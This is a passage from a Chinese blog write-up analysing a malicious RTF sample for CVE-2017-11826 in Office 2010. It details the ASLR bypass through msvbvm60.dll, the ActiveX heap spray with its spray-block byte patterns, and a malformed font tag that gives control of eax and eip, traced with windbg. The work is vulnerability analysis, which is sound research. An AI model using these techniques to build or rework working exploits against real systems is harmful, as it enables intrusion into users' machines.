<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>前言</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">最近开始分析 Office 漏洞，拿到 CVE-2017-11826 的样本后发现无法在 Office2010 上成功执行，打算分析并改造该 EXP。参考了许多资料，结合自己的理解写了本文，供大家学习和参考。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>漏洞分析</h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>分析环境<span style="display: none;"></span></h3><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibicyvcX28HArPibackfPNSTUaBz5ayuOg7PHagOMfGqV5MHptbr62TED6RC524AD4pqibPnk3knoU6pNVp2olxE2TY/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">OS:              Win7 x64 SP1<br/>Office:          2010 x86<br/>Image name:      wwlib.dll<br/>Timestamp:       Sat Mar 27 23:37:07 2010 (4BAE2623)<br/>CheckSum:        0127F568<br/>ImageSize:       0127A000<br/>File version:    14.0.4762.1000<br/>Product version: 14.0.4762.0<br/></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>静态分析<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在 rtf 文档中搜索 object，发现嵌入了 3 个 ole 对象：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.7603833865814696" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="626" src="https://wechat2rss.xlab.app/img-proxy/?k=3f85c98b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXS6TnzvBO70Um4PArZTQ0LjDFfO5slO4X5ycBlsQoo7Icchibw1yPiarw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第一个对象的 CLSID 为<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731</code>，在注册表搜索后发现该对象位于<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">C:\Windows\SysWOW64\msvbvm60.dll</code>，而该 dll 是没有 ASLR 的。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.05787781350482315" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="933" src="https://wechat2rss.xlab.app/img-proxy/?k=345eedb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgX9NnoAFzpr5t8RNmrPoawK0NibGO85D24PWzLehCiaWdjLWWicicyQpEX7w%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过 ProcessExplorer 发现 word 打开 rtf 文档后确实加载了 msvbvm60.dll，且该 dll 无 ASLR，说明该 ole 对象的作用是绕过 ASLR。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.41325301204819276" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=eb44c5b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXnqr8iayDYjINCibibmkO0X1QMM9lABvQxce8Qibib15zEh1wpib6x67ZP0rw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">使用<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">rtfobj.py -s all</code>提取 ole 对象：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.7069767441860465" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="645" src="https://wechat2rss.xlab.app/img-proxy/?k=9c406fd4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXzIMqjgasj6Ng80uibPQaAQ29uozOM4icn2rTaNyfxdTlZskpicqcotlMQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第一个对象经过上面的分析是用于绕过 ASLR 的，第二和第三个都是.doc 文档，使用压缩软件直接打开第二个文档，文档结构如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibicyvcX28HArPibackfPNSTUaBz5ayuOg7PHagOMfGqV5MHptbr62TED6RC524AD4pqibPnk3knoU6pNVp2olxE2TY/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">│  [Content_Types].xml<br/>│<br/>├─docProps<br/>│      app.xml<br/>│      core.xml<br/>│<br/>├─word<br/>│  │  document.xml<br/>│  │  fontTable.xml<br/>│  │  settings.xml<br/>│  │  styles.xml<br/>│  │  webSettings.xml<br/>│  │<br/>│  ├─activeX<br/>│  │  │  activeX1.bin<br/>│  │  │  activeX1.xml<br/>│  │  │  activeX2.xml<br/>│  │  │   ······<br/>│  │  │  activeX40.xml<br/>│  │  │<br/>│  │  └─_rels<br/>│  │          activeX1.xml.rels<br/>│  │          activeX2.xml.rels<br/>│  │            ······<br/>│  │          activeX40.xml.rels<br/>│  │<br/>│  ├─media<br/>│  │      image1.wmf<br/>│  │<br/>│  ├─theme<br/>│  │      theme1.xml<br/>│  │<br/>│  └─_rels<br/>│          document.xml.rels<br/>│<br/>└─_rels<br/>        .rels<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可以看出使用了 40 个 activeX.xml 文件，文件内容如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibicyvcX28HArPibackfPNSTUaBz5ayuOg7PHagOMfGqV5MHptbr62TED6RC524AD4pqibPnk3knoU6pNVp2olxE2TY/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; standalone=&#34;no&#34;?&gt;</span><br/><span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">ax:ocx</span> <span style="color: #d19a66;line-height: 26px;">ax:classid</span>=<span style="color: #98c379;line-height: 26px;">&#34;{00000000-0000-0000-0000-000000000001}&#34;</span> <span style="color: #d19a66;line-height: 26px;">ax:persistence</span>=<span style="color: #98c379;line-height: 26px;">&#34;persistStorage&#34;</span> <span style="color: #d19a66;line-height: 26px;">r:id</span>=<span style="color: #98c379;line-height: 26px;">&#34;rId1&#34;</span> <span style="color: #d19a66;line-height: 26px;">xmlns:ax</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://schemas.microsoft.com/office/2006/activeX" target="_blank">http://schemas.microsoft.com/office/2006/activeX</a>&#34;</span> <span style="color: #d19a66;line-height: 26px;">xmlns:r</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://schemas.openxmlformats.org/officeDocument/2006/relationships" target="_blank">http://schemas.openxmlformats.org/officeDocument/2006/relationships</a>&#34;</span>/&gt;</span><br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">40 个 xml 文件内容一致，加载了 CLSID 为{00000000-0000-0000-0000-000000000001}的对象，然而系统中并没有这个对象，所以并不会加载任何对象，这么做是为了提高堆喷的效率，具体原理可查看<span style="color: #1e6bb8;font-weight: bold;">SPRAYING THE HEAP IN SECONDS USING ACTIVEX CONTROLS IN MICROSOFT OFFICE</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[1]</sup>一文。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">而 40 个 activeX.xml.rels 的内容也完全一致：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibicyvcX28HArPibackfPNSTUaBz5ayuOg7PHagOMfGqV5MHptbr62TED6RC524AD4pqibPnk3knoU6pNVp2olxE2TY/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; standalone=&#34;yes&#34;?&gt;</span><br/><span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">Relationships</span> <span style="color: #d19a66;line-height: 26px;">xmlns</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://schemas.openxmlformats.org/package/2006/relationships" target="_blank">http://schemas.openxmlformats.org/package/2006/relationships</a>&#34;</span>&gt;</span><br/> <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">Relationship</span> <span style="color: #d19a66;line-height: 26px;">Id</span>=<span style="color: #98c379;line-height: 26px;">&#34;rId1&#34;</span> <span style="color: #d19a66;line-height: 26px;">Type</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary" target="_blank">http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary</a>&#34;</span> <span style="color: #d19a66;line-height: 26px;">Target</span>=<span style="color: #98c379;line-height: 26px;">&#34;activeX1.bin&#34;</span>/&gt;</span><br/><span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">Relationships</span>&gt;</span><br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">都指向了 activeX1.bin 文件，因此会将 activeX1.bin 在内存中加载 40 次，以此达到堆喷的目的。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">activeX1.bin 文件结构如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibicyvcX28HArPibackfPNSTUaBz5ayuOg7PHagOMfGqV5MHptbr62TED6RC524AD4pqibPnk3knoU6pNVp2olxE2TY/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">activeX1.bin<br/>│ -文件头<br/>│ -数据<br/>│    │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08<br/>│    │      ······<br/>│    │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08<br/>│    │---shellcode<br/>│    │---2B 0E 98 72 2B 0E 98 72 2B 0E 98 72 2B 0E 98 72<br/>│    │      ······<br/>│    │---2B 0E 98 72 2B 0E 98 72 2B 0E 98 72 2B 0E 98 72<br/>│    │      ······<br/>│    │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08<br/>│    │      ······<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">看结构似乎是滑板指令加 shellcode，待调试验证。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第三个文档结构如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibicyvcX28HArPibackfPNSTUaBz5ayuOg7PHagOMfGqV5MHptbr62TED6RC524AD4pqibPnk3knoU6pNVp2olxE2TY/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">│  [Content_Types].xml<br/>│<br/>├─docProps<br/>│      app.xml<br/>│      core.xml<br/>│<br/>├─word<br/>│  │  document.xml<br/>│  │  endnotes.xml<br/>│  │  fontTable.xml<br/>│  │  footnotes.xml<br/>│  │  settings.xml<br/>│  │  styles.xml<br/>│  │  webSettings.xml<br/>│  │<br/>│  ├─theme<br/>│  │      theme1.xml<br/>│  │<br/>│  └─_rels<br/>│          document.xml.rels<br/>│<br/>└─_rels<br/>        .rels<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">document.xml 的内容如下：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.30612244897959184" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="637" src="https://wechat2rss.xlab.app/img-proxy/?k=3b978693&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXrA7JugtdAAD4khqC5z3auQ6XHiaYb4ibMDZvLlsCgjYLGicXM6wBBwhjQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">观测到&lt;w:font 标签内有异常字符，且标签未正常闭合，预测漏洞触发于该处。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过静态分析了解到 RTF 文档通过内嵌 3 个 ole 对象来实现 ASLR 绕过、堆喷射和漏洞触发，ASLR 绕过是通过加载 CLSID 为<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731</code>的 COM 对象，将<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">msvbvm60.dll</code>加载到内存中。堆喷射利用 40 个 activeX.xml.rels 指向唯一的 activeX1.bin 文件，将 activeX1.bin 文件中的数据部分，即偏移为 0x800 后的内容加载到内存中实现堆喷射。而漏洞触发部分则利用 document.xml 中的异常字符和标签触发漏洞。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>动态调试<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">使用 windbg 附加 word，打开漏洞文件：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.30412371134020616" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1164" src="https://wechat2rss.xlab.app/img-proxy/?k=1a510587&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXRfO69go0gv3cpMNlu45MbZ9b6EWOm4vnZHMue9TB9HUER2HmdRwZibA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可以看到异常因为 ecx+4 指向的内存无法访问导致错误。查看反汇编得知 ecx 的值来源于 eax，此时 eax 的值为<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">088888ec</code>。再次打开漏洞文件发现 ecx 的值改变，但是 eax 的值仍为<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">088888ec</code>，说明 eax 的值为故意构造。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">于是打算下断在函数<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">wwlib!DllGetClassObject+0x42d4 (71ed98b0)</code>查看 eax 是如何生成的。查看 wwlib 的基地址，算出函数的偏移为<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">wwlib+004da16b</code>。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibicyvcX28HArPibackfPNSTUaBz5ayuOg7PHagOMfGqV5MHptbr62TED6RC524AD4pqibPnk3knoU6pNVp2olxE2TY/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0:000&gt; lm m wwlib<br/>start    end        module name<br/>71ed0000 7314a000   wwlib      (<span style="color: #e6c07b;line-height: 26px;">export</span> symbols)       C:\PROGRA~2\MICROS~1\Office14\wwlib.dll<br/>0:000&gt; ? 723aa16b-71ed0000<br/>Evaluate expression: 5087595 = 004da16b<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">重新打开漏洞文档，<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">bp wwlib+004da16b</code>下断：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.2661290322580645" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="496" src="https://wechat2rss.xlab.app/img-proxy/?k=3fd0d18d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXiabjH2QicicoxW6MZlWpSoVYEmjicgYh3BSEuzKgACcqibxEsNzLhhUIyug%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">步过两次后执行到如图所示位置时，查看 eax 所在的内存：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.2612994350282486" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="708" src="https://wechat2rss.xlab.app/img-proxy/?k=2add219d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXW5zvm4TmDnLAUpWrPa7yaDOtUOczwbsyGzG6VmQjQj4RATuK5LW0Cg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">发现和在文档 3 中的字符串一致，接着查看 eax+44，对应的正是异常触发时 eax 的值<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">088888ec</code>。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.1485557083906465" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="727" src="https://wechat2rss.xlab.app/img-proxy/?k=485b3533&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXXaJeKDNz6TwnC4BKRAiahQtpo3cJDNO827jP2AFe88RxqxW8qp4eydw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但在 xml 文件中，字符串中的异常字符的十六进制为<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">e8a3ace0a288</code>：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.15613382899628253" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="538" src="https://wechat2rss.xlab.app/img-proxy/?k=602fb331&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgX8wLJXKmLZpLcKnXeX0FNX5P1ibHwHHA0pC3S58uKibGnbN7gaV4WZiaeA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在文件中显示的格式是 Ascii，然而在内存中显示的是 Unicode，于是将文件中的字符以 utf-8 格式转换为十六进制正是 eax 的值<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">088888ec</code>：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.28401360544217685" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1176" src="https://wechat2rss.xlab.app/img-proxy/?k=ed7ec18f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXKlFrk2kY26SHRcZNNH6dzz6p0rFZQ8YUgdAVEHmVwiaA7bQKx7tBia4g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">说明通过修改该字符串可以控制 eax 的值，进而控制 eip。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在 ida 中找到奔溃函数为 sub_31A55CE6，发现变量 v3 是宽字节字符串，位于 arg2+0x18，变量 v4 是一个长度，位于 arg2+0x1c</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.21487603305785125" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="726" src="https://wechat2rss.xlab.app/img-proxy/?k=8e6afc0c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXPALOouGeBw5A1GzB5qFdicjIxdsubQuYHP9nqEtN8hEX4lkAGjVVyyw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在 windbg 设置崩溃函数起始点打印 v3 为字符串，长度为 v4：<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">bp wwlib+385ce6 &#34;du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;&#34;</code></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.2837423312883436" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="652" src="https://wechat2rss.xlab.app/img-proxy/?k=dbcd3178&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgX56mJzCcx58TCiavGcEssHticXULeBHsNSzUrEr7nMJGCdLTaEBacNYicA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可以看到 v3 就是 xml 文件中的标签，在解析到 idmp 标签后程序崩溃，然而并没有看到 font 标签，于是寻找到崩溃函数的父函数 sub_3170FA5A</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.12193126022913257" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" 